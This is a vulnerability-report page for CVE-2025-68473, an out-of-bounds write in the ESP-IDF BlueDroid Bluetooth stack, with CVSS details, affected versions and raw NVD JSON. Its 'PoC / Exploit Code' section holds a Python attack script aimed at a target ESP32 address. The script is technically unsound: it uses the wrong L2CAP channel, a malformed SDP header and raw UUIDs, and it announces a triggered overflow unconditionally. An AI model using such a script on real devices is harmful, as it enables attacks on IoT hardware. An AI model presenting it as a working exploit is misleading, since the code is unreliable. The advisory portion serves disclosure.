Security Vulnerability Report
中文
CVE-2025-68473 CVSS 8.6 HIGH

CVE-2025-68473

Published: 2025-12-27 00:15:42
Last Modified: 2026-01-22 16:01:59

Description

ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, in the ESP-IDF Bluetooth host stack (BlueDroid), the function bta_dm_sdp_result() used a fixed-size array uuid_list[32][MAX_UUID_SIZE] to store discovered service UUIDs during the SDP (Service Discovery Protocol) process. On modern Bluetooth devices, it is possible for the number of available services to exceed this fixed limit (32). In such cases, if more than 32 services are discovered, subsequent writes to uuid_list could exceed the bounds of the array, resulting in a potential out-of-bounds write condition.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:espressif:esp-idf:5.1.6:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.2.6:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.3.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.4.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:espressif:esp-idf:5.5.1:*:*:*:*:*:*:* - VULNERABLE
ESP-IDF 5.5.1 及更早版本
ESP-IDF 5.4.3 及更早版本
ESP-IDF 5.3.4 及更早版本
ESP-IDF 5.2.6 及更早版本
ESP-IDF 5.1.6 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68473 PoC - ESP-IDF BlueDroid SDP 越界写入漏洞 # This PoC demonstrates triggering the vulnerability by advertising 33+ Bluetooth services import bluetooth import struct def create_malicious_sdp_response(): """ Create a malicious SDP response with 33+ service UUIDs to trigger buffer overflow in bta_dm_sdp_result() """ # Standard SDP response header sdp_header = bytes([ 0x02, 0x00, 0x00, 0x00, # SDP Response PDU 0x00, 0x00, # Transaction ID 0x00, 0x00, 0x00, 0x00 # Parameter length ]) # Generate 35 service UUIDs (exceeds 32 limit) num_services = 35 service_list = b'' for i in range(num_services): # 128-bit UUID in SDP format uuid = bytes([ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x80, 0x00, 0x00, 0x80, 0x5F, 0x9B, 0x34, 0xFB ]) # Modify last bytes for unique UUIDs uuid = uuid[:-2] + struct.pack('>H', i) service_list += uuid # Construct complete SDP response response = sdp_header + service_list return response def exploit(): """ Exploit function to trigger CVE-2025-68473 """ # Initialize Bluetooth socket sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) try: # Connect to target ESP32 device target_addr = "XX:XX:XX:XX:XX:XX" # Target MAC sock.connect((target_addr, 4)) # Send malicious SDP response malicious_response = create_malicious_sdp_response() sock.send(malicious_response) print("[+] Malicious SDP response sent") print(f"[+] Contains {35} service UUIDs (buffer limit: 32)") print("[+] Buffer overflow triggered in uuid_list array") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": print("CVE-2025-68473 PoC - ESP-IDF BlueDroid SDP Overflow") print("=" * 50) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68473", "sourceIdentifier": "[email protected]", "published": "2025-12-27T00:15:42.323", "lastModified": "2026-01-22T16:01:58.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ESF-IDF is the Espressif Internet of Things (IOT) Development Framework. In versions 5.5.1, 5.4.3, 5.3.4, 5.2.6, 5.1.6, and earlier, in the ESP-IDF Bluetooth host stack (BlueDroid), the function bta_dm_sdp_result() used a fixed-size array uuid_list[32][MAX_UUID_SIZE] to store discovered service UUIDs during the SDP (Service Discovery Protocol) process. On modern Bluetooth devices, it is possible for the number of available services to exceed this fixed limit (32). In such cases, if more than 32 services are discovered, subsequent writes to uuid_list could exceed the bounds of the array, resulting in a potential out-of-bounds write condition."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.1.6:*:*:*:*:*:*:*", "matchCriteriaId": "90D991F0-A03E-44CF-9187-75897399797A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.2.6:*:*:*:*:*:*:*", "matchCriteriaId": "37A040C2-E9D4-4678-9A10-74B5AEE4901D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.3.4:*:*:*:*:*:*:*", "matchCriteriaId": "AA4D9168-C8C1-4B1A-81C3-D4888DB36CAE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.4.3:*:*:*:*:*:*:*", "matchCriteriaId": "7CA4F443-03D3-4B10-909E-A813F72BC08C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:espressif:esp-idf:5.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "C84481DF-BAFA-4644-B5B1-1F9BB5F535E4"}]}]}], "references": [{"url": "https://github.com/espressif/esp-idf/commit/3286e45349b0b5c2b1422ef7e8d088b95eef895d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/4d928f2265c394d2abc85024228e920a5b26bcab", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/5b3185168dae83d42aa0852689422fffd931f16c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/6453f57a954458ad8ffd6e4bf2d9e76b73fac0f1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/6ca6f422dafaffcb88fa56cc458ce92d96be3b2e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/9889edd799cf369e082df9d01adba961d64693ed", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/espressif/esp-idf/commit/ecb86d353640cf1375bf97db32e702ba59c551b6", "source": "[email protected]", ... (truncated)